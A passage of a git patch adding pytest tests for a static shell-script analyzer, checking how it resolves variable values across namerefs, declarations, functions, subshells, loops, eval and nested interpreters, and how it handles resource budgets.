dependency_types.StaticValue.unknown() + assert shell.resolution.kind.value == "ambiguous" + assert private.program.nested_programs == () + + +@pytest.mark.parametrize( + "callee_definition", + [ + b"g() { A=new; }", + b"if cond; then g() { A=new; }; fi", + ], +) +def test_known_function_summary_includes_future_or_conditional_ambiguous_callee( + callee_definition: bytes, +) -> None: + private, _budget, _unit = _analyze_private( + b"A=old\nf() { g; }\n" + callee_definition + b'\nf\nprobe "$A"\n' + ) + + body_call = next( + command + for command in private.program.commands + if command.function_id is not None + and command.site.argv[0] == dependency_types.StaticValue.exact(b"g") + ) + assert body_call.resolution.kind.value == "ambiguous" + assert private.public.commands[-1].argv[1] == dependency_types.StaticValue.unknown() + + +def test_ambiguous_conditional_function_call_applies_possible_write_summary() -> None: + private, _budget, _unit = _analyze_private( + b'A=old\nif cond; then f() { A=new; }; fi\nf\nprobe "$A"\n' + ) + + call = next( + command + for command in private.program.commands + if command.function_id is None + and command.site.argv[0] == dependency_types.StaticValue.exact(b"f") + ) + assert call.resolution.kind.value == "ambiguous" + assert private.public.commands[-1].argv[1] == dependency_types.StaticValue.unknown() + + +def test_dynamic_ambiguous_body_call_widens_binding_and_function_namespaces() -> None: + private, _budget, _unit = _analyze_private( + b'A=old\ng() { A=new; }\nFN=g\nf() { "$FN"; }\nf\ng\nprobe "$A"\n' + ) + + body_call = next( + command + for command in private.program.commands + if command.function_id is not None + and command.site.argv[0].state is dependency_types.StaticValueState.UNKNOWN + ) + root_g = next( + command + for command in private.program.commands + if command.function_id is None + and command.site.argv[0] == dependency_types.StaticValue.exact(b"g") + ) + assert body_call.resolution.kind.value == "ambiguous" + assert root_g.resolution.kind.value == "ambiguous" + assert private.public.commands[-1].argv[1] == dependency_types.StaticValue.unknown() + + +def test_assignment_only_multi_bind_persists_every_assignment() -> None: + private, _budget, _unit = _analyze_private(b'A=one B=two\nprobe "$A" "$B"\n') + + assert private.public.commands[-1].argv[1:] == ( + dependency_types.StaticValue.exact(b"one"), + dependency_types.StaticValue.exact(b"two"), + ) + + +def test_indented_line_continuation_remains_a_prefix_overlay() -> None: + private, _budget, _unit = _analyze_private(b'A=base\nA=temp \\\n probe "$A"\nprobe "$A"\n') + + probes = [ + command + for command in private.program.commands + if command.site.argv[0] == dependency_types.StaticValue.exact(b"probe") + ] + assert [probe.site.argv[1] for probe in probes] == [ + dependency_types.StaticValue.exact(b"base"), + dependency_types.StaticValue.exact(b"base"), + ] + assert [(binding.name, binding.value) for binding in probes[0].prefix_bindings] == [ + ("A", dependency_types.StaticValue.exact(b"temp")) + ] + assert probes[1].prefix_bindings == () + + +def test_mixed_assignment_boundaries_partition_persistent_and_prefix_state() -> None: + private, _budget, _unit = _analyze_private( + b"A=base\nC=base\nB=base\n" + b"A=one C=three\nB=two \\\n " + b'probe "$A" "$B" "$C"\nprobe "$A" "$B" "$C"\n' + ) + + probes = [ + command + for command in private.program.commands + if command.site.argv[0] == dependency_types.StaticValue.exact(b"probe") + ] + expected = ( + dependency_types.StaticValue.exact(b"one"), + dependency_types.StaticValue.exact(b"base"), + dependency_types.StaticValue.exact(b"three"), + ) + assert [probe.site.argv[1:] for probe in probes] == [expected, expected] + assert [(binding.name, binding.value) for binding in probes[0].prefix_bindings] == [ + ("B", dependency_types.StaticValue.exact(b"two")) + ] + assert probes[1].prefix_bindings == () + + +def test_nested_loop_back_edge_survives_outer_conditional_scope() -> None: + private, _budget, _unit = _analyze_private( + b'A=old\nif outer; then while cond; do probe "$A"; A=new; done; fi\nprobe "$A"\n' + ) + + probes = [ + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ] + assert [probe.argv[1] for probe in probes] == [ + dependency_types.StaticValue.unknown(), + dependency_types.StaticValue.unknown(), + ] + + +def test_nested_branch_joins_before_later_outer_branch_sites() -> None: + private, _budget, _unit = _analyze_private( + b'A=base\nif outer; then if inner; then A=one; else A=two; fi; probe "$A"; fi\nprobe "$A"\n' + ) + + probes = [ + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ] + assert [probe.argv[1] for probe in probes] == [ + dependency_types.StaticValue.unknown(), + dependency_types.StaticValue.unknown(), + ] + + +def test_or_rhs_observes_boolean_short_circuit_join() -> None: + private, _budget, _unit = _analyze_private(b'A=old\ncond && A=new || probe "$A"\n') + + assert private.public.commands[-1].argv[1] == dependency_types.StaticValue.unknown() + + +@pytest.mark.parametrize( + "declaration", + [ + b"declare -i A=1+2", + b"typeset -n A=B", + ], +) +def test_unsupported_declaration_modes_invalidate_assigned_values( + declaration: bytes, +) -> None: + private, _budget, _unit = _analyze_private(b"A=old\n" + declaration + b'\nprobe "$A"\n') + + assert private.public.commands[-1].argv[1] == dependency_types.StaticValue.unknown() + assert [issue.reason for issue in private.public.issues] == [ + dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS + ] + + +@pytest.mark.parametrize( + "declaration", + [ + b"readonly A=old", + b"declare -r A=old", + ], +) +def test_persistent_declaration_attributes_block_later_exact_recovery( + declaration: bytes, +) -> None: + private, _budget, _unit = _analyze_private(declaration + b'\nA=new\nprobe "$A"\n') + + assert private.public.commands[-1].argv[1] == dependency_types.StaticValue.unknown() + assert [issue.reason for issue in private.public.issues] == [ + dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS + ] + + +def test_readonly_persistent_barrier_remains_name_local() -> None: + private, _budget, _unit = _analyze_private(b'readonly A=old\nB=new\nprobe "$A" "$B"\n') + + assert private.public.commands[-1].argv[1:] == ( + dependency_types.StaticValue.unknown(), + dependency_types.StaticValue.exact(b"new"), + ) + + +def test_nameref_declaration_mode_blocks_alias_target_precision() -> None: + private, _budget, _unit = _analyze_private(b'A=old\ntypeset -n R=A\nR=new\nprobe "$A" "$R"\n') + + assert private.public.commands[-1].argv[1:] == ( + dependency_types.StaticValue.unknown(), + dependency_types.StaticValue.unknown(), + ) + assert [issue.reason for issue in private.public.issues] == [ + dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS + ] + + +def test_nameref_declaration_mode_blocks_future_alias_target_precision() -> None: + private, _budget, _unit = _analyze_private(b'typeset -n R=A\nA=old\nR=new\nprobe "$A" "$R"\n') + + assert private.public.commands[-1].argv[1:] == ( + dependency_types.StaticValue.unknown(), + dependency_types.StaticValue.unknown(), + ) + assert [issue.reason for issue in private.public.issues] == [ + dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS + ] + + +@pytest.mark.parametrize( + "child", + [ + b'if cond; then A=old; R=new; probe "$A" "$R"; fi', + b'{ A=old; R=new; probe "$A" "$R"; }', + b'( A=old; R=new; probe "$A" "$R" )', + b'f() { A=old; R=new; probe "$A" "$R"; }\nf', + ], + ids=["conditional", "brace-group", "subshell", "called-function"], +) +def test_nameref_namespace_barrier_is_visible_in_child_state_frames(child: bytes) -> None: + private, _budget, _unit = _analyze_private(b"typeset -n R=A\n" + child + b"\n") + + probe = next( + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ) + assert probe.argv[1:] == ( + dependency_types.StaticValue.unknown(), + dependency_types.StaticValue.unknown(), + ) + assert [issue.reason for issue in private.public.issues] == [ + dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS + ] + + +def test_nameref_namespace_barrier_is_applied_at_later_function_call() -> None: + private, _budget, _unit = _analyze_private( + b'f() { A=old; R=new; probe "$A" "$R"; }\ntypeset -n R=A\nf\n' + ) + + probe = next( + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ) + assert probe.argv[1:] == ( + dependency_types.StaticValue.unknown(), + dependency_types.StaticValue.unknown(), + ) + assert [issue.reason for issue in private.public.issues] == [ + dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS + ] + + +def test_nameref_barrier_call_excludes_superseded_unconditional_definition() -> None: + private, _budget, _unit = _analyze_private( + b'f() { A=old; R=oldr; probe_old "$A" "$R"; }\n' + b"f\n" + b'f() { A=new; R=newr; probe_new "$A" "$R"; }\n' + b"typeset -n R=A\n" + b"f\n" + ) + + probes = { + command.argv[0].exact_bytes: command.argv[1:] + for command in private.public.commands + if command.argv[0].exact_bytes in {b"probe_old", b"probe_new"} + } + assert probes == { + b"probe_old": ( + dependency_types.StaticValue.exact(b"old"), + dependency_types.StaticValue.exact(b"oldr"), + ), + b"probe_new": ( + dependency_types.StaticValue.unknown(), + dependency_types.StaticValue.unknown(), + ), + } + + +def test_nameref_barrier_call_keeps_conditional_redefinition_candidates() -> None: + private, _budget, _unit = _analyze_private( + b'f() { A=old; R=oldr; probe_old "$A" "$R"; }\n' + b"f\n" + b'if cond; then f() { A=new; R=newr; probe_new "$A" "$R"; }; fi\n' + b"typeset -n R=A\n" + b"f\n" + ) + + probes = { + command.argv[0].exact_bytes: command.argv[1:] + for command in private.public.commands + if command.argv[0].exact_bytes in {b"probe_old", b"probe_new"} + } + assert probes == { + b"probe_old": ( + dependency_types.StaticValue.unknown(), + dependency_types.StaticValue.unknown(), + ), + b"probe_new": ( + dependency_types.StaticValue.unknown(), + dependency_types.StaticValue.unknown(), + ), + } + + +def test_later_nameref_namespace_barrier_does_not_poison_earlier_function_call() -> None: + private, _budget, _unit = _analyze_private( + b'f() { A=old; R=new; probe "$A" "$R"; }\nf\ntypeset -n R=A\n' + ) + + probe = next( + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ) + assert probe.argv[1:] == ( + dependency_types.StaticValue.exact(b"old"), + dependency_types.StaticValue.exact(b"new"), + ) + + +def test_nameref_namespace_barrier_reaches_transitive_called_function_frames() -> None: + private, _budget, _unit = _analyze_private( + b'g() { A=old; probe "$A"; }\nf() { g; }\ntypeset -n R=A\nf\n' + ) + + probe = next( + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ) + assert probe.argv[1] == dependency_types.StaticValue.unknown() + + +def test_nameref_namespace_barrier_reaches_dynamic_called_function_frames() -> None: + private, _budget, _unit = _analyze_private( + b'f() { A=old; probe "$A"; }\ntypeset -n R=A\nFN=f\n"$FN"\n' + ) + + probe = next( + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ) + assert probe.argv[1] == dependency_types.StaticValue.unknown() + + +def test_inherited_nameref_barrier_reaches_dynamic_transitive_function_frame() -> None: + private, _budget, _unit = _analyze_private( + b'g() { A=old; probe "$A"; }\nFN=g\nf() { "$FN"; }\ntypeset -n R=A\nf\n' + ) + + probe = next( + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ) + assert probe.argv[1] == dependency_types.StaticValue.unknown() + + +@pytest.mark.parametrize( + ("body_call", "call_state"), + [(b"g", b""), (b'"$FN"', b"FN=g; ")], + ids=["exact-wrapper", "dynamic-wrapper"], +) +def test_outer_wrapper_barrier_resolves_call_site_local_function( + body_call: bytes, + call_state: bytes, +) -> None: + private, _budget, _unit = _analyze_private( + b"f() { " + + body_call + + b'; }\n( g() { A=old; probe "$A"; }; ' + + call_state + + b"typeset -n R=A; f )\n" + ) + + probe = next( + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ) + assert probe.argv[1] == dependency_types.StaticValue.unknown() + + +@pytest.mark.parametrize( + ("body_call", "call_state"), + [(b"g", b""), (b'"$FN"', b"FN=g; ")], + ids=["exact-wrapper", "dynamic-wrapper"], +) +def test_outer_wrapper_barrier_does_not_reach_sibling_subshell_function( + body_call: bytes, + call_state: bytes, +) -> None: + private, _budget, _unit = _analyze_private( + b"f() { " + + body_call + + b'; }\n( g() { A=old; probe "$A"; }; g )\n( ' + + call_state + + b"typeset -n R=A; f )\n" + ) + + probe = next( + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ) + assert probe.argv[1] == dependency_types.StaticValue.exact(b"old") + + +@pytest.mark.parametrize( + ("body_call", "call_state"), + [(b"g", b""), (b'"$FN"', b"FN=g; ")], + ids=["exact-wrapper", "dynamic-wrapper"], +) +def test_outer_wrapper_barrier_reaches_inherited_root_function( + body_call: bytes, + call_state: bytes, +) -> None: + private, _budget, _unit = _analyze_private( + b'g() { A=old; probe "$A"; }\nf() { ' + + body_call + + b"; }\n( " + + call_state + + b"typeset -n R=A; f )\n" + ) + + probe = next( + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ) + assert probe.argv[1] == dependency_types.StaticValue.unknown() + + +@pytest.mark.parametrize( + ("body_call", "call_state"), + [(b"g", b""), (b'"$FN"', b"FN=g; ")], + ids=["exact-wrapper", "dynamic-wrapper"], +) +def test_same_subshell_wrapper_barrier_reaches_local_function( + body_call: bytes, + call_state: bytes, +) -> None: + private, _budget, _unit = _analyze_private( + b'( g() { A=old; probe "$A"; }; f() { ' + + body_call + + b"; }; " + + call_state + + b"typeset -n R=A; f )\n" + ) + + probe = next( + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ) + assert probe.argv[1] == dependency_types.StaticValue.unknown() + + +@pytest.mark.parametrize( + ("barrier_call", "wrapper_definition", "call_state"), + [ + (b"g", b"", b""), + (b'"$FN"', b"", b"FN=g; "), + (b"f", b"f() { g; }\n", b""), + (b"f", b'f() { "$FN"; }\n', b"FN=g; "), + ], + ids=["direct-exact", "direct-dynamic", "transitive-exact", "transitive-dynamic"], +) +def test_function_origin_barrier_resolves_invocation_local_function( + barrier_call: bytes, + wrapper_definition: bytes, + call_state: bytes, +) -> None: + private, _budget, _unit = _analyze_private( + b"h() { typeset -n R=A; " + + barrier_call + + b"; }\n" + + wrapper_definition + + b'( g() { A=old; R=new; probe "$A" "$R"; }; ' + + call_state + + b"h )\n" + ) + + probe = next( + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ) + assert probe.argv[1:] == ( + dependency_types.StaticValue.unknown(), + dependency_types.StaticValue.unknown(), + ) + + +@pytest.mark.parametrize( + ("barrier_call", "wrapper_definition", "call_state"), + [ + (b"g", b"", b""), + (b'"$FN"', b"", b"FN=g; "), + (b"f", b"f() { g; }\n", b""), + (b"f", b'f() { "$FN"; }\n', b"FN=g; "), + ], + ids=["direct-exact", "direct-dynamic", "transitive-exact", "transitive-dynamic"], +) +def test_function_origin_barrier_does_not_reach_sibling_subshell_function( + barrier_call: bytes, + wrapper_definition: bytes, + call_state: bytes, +) -> None: + private, _budget, _unit = _analyze_private( + b"h() { typeset -n R=A; " + + barrier_call + + b"; }\n" + + wrapper_definition + + b'( g() { A=old; R=new; probe "$A" "$R"; }; g )\n( ' + + call_state + + b"h )\n" + ) + + probe = next( + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ) + assert probe.argv[1:] == ( + dependency_types.StaticValue.exact(b"old"), + dependency_types.StaticValue.exact(b"new"), + ) + + +@pytest.mark.parametrize( + ("barrier_call", "call_state"), + [(b"g", b""), (b'"$FN"', b"FN=g; ")], + ids=["exact", "dynamic"], +) +@pytest.mark.parametrize( + "same_subshell", + [False, True], + ids=["inherited-root", "same-subshell"], +) +def test_function_origin_barrier_reaches_visible_function( + barrier_call: bytes, + call_state: bytes, + same_subshell: bool, +) -> None: + function_source = ( + b'g() { A=old; R=new; probe "$A" "$R"; }; h() { typeset -n R=A; ' + barrier_call + b"; }; " + ) + raw = ( + b"( " + function_source + call_state + b"h )\n" + if same_subshell + else function_source + b"( " + call_state + b"h )\n" + ) + private, _budget, _unit = _analyze_private(raw) + + probe = next( + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ) + assert probe.argv[1:] == ( + dependency_types.StaticValue.unknown(), + dependency_types.StaticValue.unknown(), + ) + + +def test_isolated_dynamic_nameref_barrier_does_not_poison_future_function() -> None: + private, _budget, _unit = _analyze_private( + b'( typeset -n R=A; "$FN" )\nf() { A=old; R=new; probe "$A" "$R"; }\nf\n' + ) + + probe = next( + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ) + assert probe.argv[1:] == ( + dependency_types.StaticValue.exact(b"old"), + dependency_types.StaticValue.exact(b"new"), + ) + + +@pytest.mark.parametrize( + "call", + [b"hidden", b'"$FN"'], + ids=["exact-call", "dynamic-call"], +) +def test_nameref_barrier_ignores_unreachable_isolated_function(call: bytes) -> None: + private, _budget, _unit = _analyze_private( + b'( hidden() { A=old; probe "$A"; }; hidden )\ntypeset -n R=A\n' + call + b"\n" + ) + + probe = next( + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ) + assert probe.argv[1] == dependency_types.StaticValue.exact(b"old") + + +def test_isolated_nameref_barrier_marks_only_inner_shadow_definition() -> None: + private, _budget, _unit = _analyze_private( + b'f() { A=root; probe_root "$A"; }\n' + b"f\n" + b'( typeset -n R=A; f() { A=inner; probe_inner "$A"; }; f )\n' + b"f\n" + ) + + probes = { + command.argv[0].exact_bytes: command.argv[1] + for command in private.public.commands + if command.argv[0].exact_bytes in {b"probe_root", b"probe_inner"} + } + assert probes == { + b"probe_root": dependency_types.StaticValue.exact(b"root"), + b"probe_inner": dependency_types.StaticValue.unknown(), + } + + +def test_subshell_nameref_namespace_barrier_does_not_escape_to_parent() -> None: + private, _budget, _unit = _analyze_private( + b'A=outer\n( typeset -n R=A; A=inner; R=changed; probe "$A" "$R" )\n' + b'A=recovered\nprobe "$A"\n' + ) + + probes = [ + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ] + assert [probe.argv[1:] for probe in probes] == [ + ( + dependency_types.StaticValue.unknown(), + dependency_types.StaticValue.unknown(), + ), + (dependency_types.StaticValue.exact(b"recovered"),), + ] + + +def test_nonpersistent_declaration_limitation_allows_definite_recovery() -> None: + private, _budget, _unit = _analyze_private(b'declare -p A=old\nA=new\nprobe "$A"\n') + + assert private.public.commands[-1].argv[1] == dependency_types.StaticValue.exact(b"new") + assert [issue.reason for issue in private.public.issues] == [ + dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS + ] + + +@pytest.mark.parametrize("option", [b"-f", b"-p", b"-x"]) +def test_unsupported_export_option_assignment_is_invalidated(option: bytes) -> None: + private, _budget, _unit = _analyze_private(b"A=old\nexport " + option + b' A=new\nprobe "$A"\n') + + assert private.public.commands[-1].argv[1] == dependency_types.StaticValue.unknown() + assert [issue.reason for issue in private.public.issues] == [ + dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS + ] + + +def test_assignment_from_unset_expansion_does_not_propagate_unbound() -> None: + private, _budget, _unit = _analyze_private(b'unset B\nA="$B"\nprobe "$A"\n') + + assert private.public.commands[-1].argv[1] == dependency_types.StaticValue.unknown() + + +def test_loop_back_edge_includes_eval_imported_function_effects() -> None: + private, _budget, _unit = _analyze_private( + b"A=old\neval 'foo() { A=new; }'\nwhile cond; do probe \"$A\"; foo; done\n" + ) + + probe = next( + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ) + assert probe.argv[1] == dependency_types.StaticValue.unknown() + assert [issue.reason for issue in private.public.issues] == [ + dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS + ] + + +def test_recursive_function_write_summary_terminates_conservatively() -> None: + private, _budget, _unit = _analyze_private(b'A=old\nf() { f; A=new; }\nf\nprobe "$A"\n') + + assert private.public.commands[-1].argv[1] == dependency_types.StaticValue.unknown() + + +def test_declaration_named_function_still_contributes_transitive_write_effects() -> None: + private, _budget, _unit = _analyze_private( + b'A=old\ng() { A=new; }\nfunction export { g; }\nf() { export; }\nf\nprobe "$A"\n' + ) + + assert private.public.commands[-1].argv[1] == dependency_types.StaticValue.unknown() + + +def test_eval_imported_interpreter_function_never_parses_as_external() -> None: + private, _budget, _unit = _analyze_private( + b"eval 'sh() { neutral; }'\nsh -c 'probe hidden'\nprobe later\n" + ) + + shell = next( + command + for command in private.program.commands + if command.site.argv[0] == dependency_types.StaticValue.exact(b"sh") + and command.function_id is None + ) + assert shell.resolution.kind.value in {"function", "ambiguous"} + assert all( + command.site.argv[0] != dependency_types.StaticValue.exact(b"probe") + or command.site.argv[1] == dependency_types.StaticValue.exact(b"later") + for command in private.program.commands + ) + + +def test_eval_imported_generic_function_applies_conservative_parent_barrier() -> None: + private, _budget, _unit = _analyze_private( + b"A=old\neval 'foo() { A=new; }'\nfoo\nprobe \"$A\"\n" + ) + + call = next( + command + for command in private.program.commands + if command.site.argv[0] == dependency_types.StaticValue.exact(b"foo") + and command.function_id is None + ) + assert call.resolution.kind.value in {"function", "ambiguous"} + assert private.public.commands[-1].argv[1] == dependency_types.StaticValue.unknown() + assert [issue.reason for issue in private.public.issues] == [ + dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS + ] + assert private.public.issues[0].span == call.site.span + assert private.public.work_items[0].outcome is dependency_types.ShellWorkOutcome.PARTIAL + + +def test_known_function_call_does_not_widen_isolated_body_writes() -> None: + private, _budget, _unit = _analyze_private(b'A=old\nf() { (A=new); }\nf\nprobe "$A"\n') + + assert private.public.commands[-1].argv[1] == dependency_types.StaticValue.exact(b"old") + + +@pytest.mark.parametrize( + "control", + [ + b"f() { A=new; }\nf\n", + b"for item in one; do A=new; done\n", + ], +) +def test_value_only_write_summaries_preserve_export_reachability( + control: bytes, +) -> None: + private, _budget, _unit = _analyze_private( + b"export A=old\n" + control + b"sh -c 'probe \"$A\"'\n" + ) + + nested = private.program.nested_programs[0] + inherited = {binding.name: binding for binding in nested.program.initial_bindings} + assert inherited["A"].value == dependency_types.StaticValue.unknown() + assert inherited["A"].export_state.value == "exported" + + +def test_loop_back_edge_includes_known_function_call_effects() -> None: + private, _budget, _unit = _analyze_private( + b'A=old\nf() { A=new; }\nfor item in one; do probe "$A"; f; done\n' + ) + + assert private.public.commands[-2].argv[1] == dependency_types.StaticValue.unknown() + + +@pytest.mark.parametrize("loop_keyword", [b"while", b"until", b"for"]) +def test_loop_back_edge_widens_body_writes_before_every_body_site( + loop_keyword: bytes, +) -> None: + loop = ( + b'for item in one; do probe "$A"; A=new; done' + if loop_keyword == b"for" + else loop_keyword + b' cond; do probe "$A"; A=new; done' + ) + private, _budget, _unit = _analyze_private(b"A=old\n" + loop + b'\nprobe "$A"\n') + + probes = [ + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ] + assert [probe.argv[1] for probe in probes] == [ + dependency_types.StaticValue.unknown(), + dependency_types.StaticValue.unknown(), + ] + + +@pytest.mark.parametrize( + ("loop", "expected"), + [ + ( + b'for item in one; do A=new; probe "$A"; done', + dependency_types.StaticValue.exact(b"new"), + ), + ( + b'while A=new; cond; do probe "$A"; done', + dependency_types.StaticValue.exact(b"new"), + ), + ( + b'while cond; do (A=new); probe "$A"; done', + dependency_types.StaticValue.exact(b"old"), + ), + ], +) +def test_loop_back_edge_preserves_dominating_and_isolated_values( + loop: bytes, + expected: dependency_types.StaticValue, +) -> None: + private, _budget, _unit = _analyze_private(b"A=old\n" + loop + b"\n") + + assert private.public.commands[-1].argv[1] == expected + + +@pytest.mark.timeout(5) +def test_isolated_first_loop_event_never_cycles_or_leaks_into_loop_state() -> None: + private, _budget, _unit = _analyze_private( + b'A=old\ni=0\nwhile (A=new; test "$i" = 0); do probe "$A"; i=1; done\n' + ) + + probe = next( + command + for command in private.public.commands + if command.argv[0] == dependency_types.StaticValue.exact(b"probe") + ) + assert probe.argv[1] == dependency_types.StaticValue.exact(b"old") + + +@pytest.mark.parametrize("interpreter", [b"bash", b"sh", b"dash", b"eval"]) +def test_ambiguous_nested_interpreter_is_one_localized_partial_limitation( + interpreter: bytes, +) -> None: + invocation = ( + b"eval 'probe hidden'" if interpreter == b"eval" else interpreter + b" -c 'probe hidden'" + ) + private, _budget, _unit = _analyze_private( + b"if cond; then " + interpreter + b"() { neutral; }; fi\n" + invocation + b"\nprobe later\n" + ) + + command = next( + candidate + for candidate in private.program.commands + if candidate.site.argv[0] == dependency_types.StaticValue.exact(interpreter) + and candidate.function_id is None + ) + assert command.resolution.kind.value == "ambiguous" + assert private.program.nested_programs == () + assert [issue.reason for issue in private.public.issues] == [ + dependency_types.ShellIssueReason.UNSUPPORTED_SEMANTICS + ] + assert private.public.issues[0].span == command.site.span + assert private.public.work_items[0].outcome is dependency_types.ShellWorkOutcome.PARTIAL + assert _argv_bytes(private.public.commands[-1]) == (b"probe", b"later") + + +def test_nested_commands_publish_once_in_execution_preorder() -> None: + private, _budget, _unit = _analyze_private(b"P='probe child'\neval \"$P\"\nprobe later\n") + + expected = [(b"eval", b"probe child"), (b"probe", b"child"), (b"probe", b"later")] + assert [_argv_bytes(command) for command in private.public.commands] == expected + assert [_argv_bytes(command.site) for command in private.program.execution_commands] == expected + assert private.program.commands is private.program.execution_commands + nested_id = private.program.nested_programs[0].unit.unit_id + assert sum(command.unit_id == nested_id for command in private.public.commands) == 1 + + +def test_one_over_ir_publication_discards_unreserved_child_slice_coherently() -> None: + raw = b"P='probe child-one; probe child-two'\neval \"$P\"\nprobe later\n" + baseline_budget = DependencyWorkBudget() + unit = _extract("scripts/transaction.sh", raw, budget=baseline_budget).units[0] + baseline = shell_frontend._analyze_shell_unit(unit, budget=baseline_budget) + assert baseline.public.work_items[0].outcome is dependency_types.ShellWorkOutcome.COMPLETED + required_ir = baseline_budget.used(dependency_types.DependencyWorkResource.RETAINED_SHELL_IR) + + limited_budget = DependencyWorkBudget() + limited_file = limited_budget.for_file(unit.origin_span.path) + limited_file.register_shell_file_size(len(raw)) + assert ( + limited_file.charge_retained_shell_ir( + unit, + dependency_types.MAX_DEPENDENCY_RETAINED_SHELL_IR - required_ir + 1, + ) + is None + ) + limited = shell_frontend._analyze_shell_unit(unit, budget=limited_budget) + + public_keys = [ + (command.unit_id, command.span.start_byte, command.span.end_byte, command.argv) + for command in limited.public.commands + ] + private_keys = [ + ( + command.site.unit_id, + command.site.span.start_byte, + command.site.span.end_byte, + command.site.argv, + ) + for command in limited.program.commands + ] + execution_keys = [ + ( + command.site.unit_id, + command.site.span.start_byte, + command.site.span.end_byte, + command.site.argv, + ) + for command in limited.program.execution_commands + ] + assert public_keys == private_keys == execution_keys + assert len(public_keys) == len(set(public_keys)) + assert all(nested.program.commands == () for nested in limited.program.nested_programs) + assert all( + command.provenance is not dependency_types.SiteProvenance.NESTED_LITERAL + for command in limited.public.commands + ) + assert dependency_types.ShellIssueReason.RESOURCE_LIMIT in { + issue.reason for issue in limited.public.issues + } + + +def test_every_nested_ir_cutoff_keeps_all_command_views_transactional() -> None: + raw = b"P='probe child-one; probe child-two'\neval \"$P\"\nprobe later\n" + baseline_budget = DependencyWorkBudget() + unit = _extract("scripts/cutoffs.sh", raw, budget=baseline_budget).units[0] + shell_frontend._analyze_shell_unit(unit, budget=baseline_budget) + required_ir = baseline_budget.used(dependency_types.DependencyWorkResource.RETAINED_SHELL_IR) + + for available_ir in range(required_ir + 1): + budget = DependencyWorkBudget() + file_budget = budget.for_file(unit.origin_span.path) + file_budget.register_shell_file_size(len(raw)) + assert ( + file_budget.charge_retained_shell_ir( + unit, + dependency_types.MAX_DEPENDENCY_RETAINED_SHELL_IR - available_ir, + ) + is None + ) + result = shell_frontend._analyze_shell_unit(unit, budget=budget) + public_keys = [ + (command.unit_id, command.span.start_byte, command.span.end_byte, command.argv) + for command in result.public.commands + ] + private_keys = [ + ( + command.site.unit_id, + command.site.span.start_byte, + command.site.span.end_byte, + command.site.argv, + ) + for command in result.program.commands + ] + execution_keys = [ + ( + command.site.unit_id, + command.site.span.start_byte, + command.site.span.end_byte, + command.site.argv, + ) + for command in result.program.execution_commands + ] + assert public_keys == private_keys == execution_keys + assert len(private_keys) == len(set(private_keys)) + assert all(command.program_id for command in result.program.commands) + frame_ids = {frame.frame_id for frame in result.program.state_frames} + assert all(command.state_frame_id in frame_ids for command in result.program.commands) + assert all(update.frame_id in frame_ids for update in result.program.state_updates) + assert all( + ( + command.site.unit_id, + command.site.span.start_byte, + command.site.span.end_byte, + command.site.argv, + ) + in private_keys + for nested in result.program.nested_programs + for command in nested.program.commands + ) + + +def test_ir_discard_prunes_orphan_nested_records_and_work_items() -> None: + raw = b"sh -c \"sh -c 'probe deep'\"\nprobe tail\n" + baseline_budget = DependencyWorkBudget() + unit = _extract("scripts/orphans.sh", raw, budget=baseline_budget).units[0] + baseline_file = baseline_budget.for_file(unit.origin_span.path) + baseline_file.register_shell_file_size(len(raw)) + for _ in range(dependency_types.MAX_DEPENDENCY_SHELL_PARSER_CALLS_PER_FILE - 2): + assert baseline_file.reserve_shell_parse(0) is None + shell_frontend._analyze_shell_unit(unit, budget=baseline_budget) + required_ir = baseline_budget.used(dependency_types.DependencyWorkResource.RETAINED_SHELL_IR) + + limited_budget = DependencyWorkBudget() + limited_file = limited_budget.for_file(unit.origin_span.path) + limited_file.register_shell_file_size(len(raw)) + for _ in range(dependency_types.MAX_DEPENDENCY_SHELL_PARSER_CALLS_PER_FILE - 2): + assert limited_file.reserve_shell_parse(0) is None + assert ( + limited_file.charge_retained_shell_ir( + unit, + dependency_types.MAX_DEPENDENCY_RETAINED_SHELL_IR - required_ir + 1, + ) + is None + ) + result = shell_frontend._analyze_shell_unit(unit, budget=limited_budget) + + known_program_ids = { + result.program.program_id, + *(nested.program.program_id for nested in result.program.nested_programs), + } + assert all( + nested.parent_program_id in known_program_ids for nested in result.program.nested_programs + ) + nested_unit_ids = {nested.unit.unit_id for nested in result.program.nested_programs} + assert { + item.unit_id + for item in result.public.work_items + if item.kind is dependency_types.ShellUnitKind.NESTED_LITERAL + } <= nested_unit_ids From 4ddb263d3fb9e69fc0a1602525e327dd24dec13b Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Wed, 26 Aug 2026 